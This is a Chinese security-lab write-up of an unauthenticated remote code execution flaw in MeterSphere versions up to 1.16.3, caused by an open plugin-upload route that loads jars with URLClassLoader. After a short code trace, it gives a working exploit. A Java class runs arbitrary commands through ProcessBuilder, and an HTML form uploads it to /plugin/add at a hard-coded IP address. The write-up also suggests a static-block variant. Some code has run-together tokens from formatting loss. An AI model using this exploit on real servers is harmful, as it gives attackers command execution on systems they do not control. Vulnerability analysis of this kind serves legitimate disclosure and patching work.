0x01 代码分析
版本<=1.16.3
查看修复日志
https://github.com/metersphere/metersphere/pull/9135/commits/9927d2c587a2b388ee5d633f6cc31346df4415de

将/plugin/** 这个路由的未授权删除了,全局搜索/plugin定位到功能代码
跟进add方法中的pluginService.editPlugin(file)
跟进
在loadJar方法中使用URLClassLoader来加载jar包,将jar包的类加载进来;
然后我们可以看到io.metersphere.controller.PluginController#customMethod中只有一行代码;
return luginService.customMethod(request)
跟进去
会调用指定类的customMethod方法,我们可以写一个恶意类然后定义一个
customMethod然后来调用他
0x02 漏洞利用
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
public class hackx {
public void init(){
System.out.println("init Inject success");
}
public StringcustomMethod(String cmd) throws IOException {
InputStream in = newProcessBuilder(cmd).start().getInputStream();
ByteArrayOutputStream baos =new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = in.read(b)) !=-1) {
baos.write(b, 0, a);
}
return newString(baos.toByteArray());
}
}
编译后打包为jar
新建文件上传表单
<!DOCTYPE html>
<html>
<body>
<form action="http://101.43.71.57:8081/plugin/add"method="POST" enctype="multipart/form-data">
<!-- <input type="hidden"name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />-->
<input type="file" name="file" />
<input type="text" name="UploadType"value="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
传上去后,调用customMethod方法,执行命令
0x03 记录
classloader 与 Class.forname的区别:
https://blog.csdn.net/wt520it/article/details/83014038
该处也可以将恶意代码写入到static代码块中,但仍需要利用customMethod来触发代码块中代码。
通过class.forname触发
声明
以上内容,均为文章作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。
长白山攻防实验室拥有该文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的副本,包括版权声明等全部内容。声明长白山攻防实验室允许,不得任意修改或增减此文章内容,不得以任何方式将其用于商业目的。